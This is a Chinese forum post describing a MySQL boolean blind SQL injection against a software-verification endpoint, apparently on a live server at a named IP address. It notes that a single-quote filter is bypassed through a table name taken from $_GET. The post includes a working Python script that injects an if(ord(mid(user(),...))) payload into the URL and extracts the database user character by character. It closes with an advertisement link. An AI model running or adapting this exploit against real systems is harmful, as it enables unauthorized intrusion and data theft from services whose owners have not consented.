mysql 盲注 if_教科书般的mysql布尔型盲注(附验证脚本)

返回这么一个字符串

经过测试过滤了单引号，奇葩的是SQL语句中的表名是通过$_GET获取的，这样就不需要单引号注入了

3.png (12.66 KB, 下载次数: 147)

2016-8-14 23:26 上传

4.png (38.09 KB, 下载次数: 170)

2016-8-14 23:26 上传

他妈的从select语句变成了update语句，当时有点懵，后来才想明白，这是因为登录不止执行了一条SQL语句，还会执行update语句更新收费会员的信息，这样万能密码就绕不过去了，还是得想办法跑数据啊。SQLMAP应该是不能识别这种注入点的。

写了个python脚本。

[Python] 纯文本查看 复制代码import urllib2

import re

opener = urllib2.build_opener()

opener.addheaders.append(('Cookie', 'ZDEDebuggerPresent=php,phtml,php3'))

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

user = ""

for i in range(1,31):

for p in payloads:

s1 = "%s" %(i)

s2 = "%s" %(ord(p))

s = "http://115.159.147.96/ap_Verify.php?a=nb_softuser`+where+1+=+1+and+if(ord(mid(user(),"+s1+",1))="+s2+",1,0)+--+&user=a&pass=a&key=a&ver=16&soft=VM"

try:

req = urllib2.Request(s)

req_data=opener.open(req,timeout=20)

#print req_data.read()

if re.findall('fa27f303f2dc7138a4a05578daf7e4ac',req_data.read()):

user+=p

print '\n user is:',user,

else:

print '.',

except urllib2.URLError,e:

break

5.png (29.51 KB, 下载次数: 154)

2016-8-14 23:27 上传

最后打个广告，mysql时间盲注教科书地址:http://www.f0rg3t.com/post/1de4895e_a4c9d97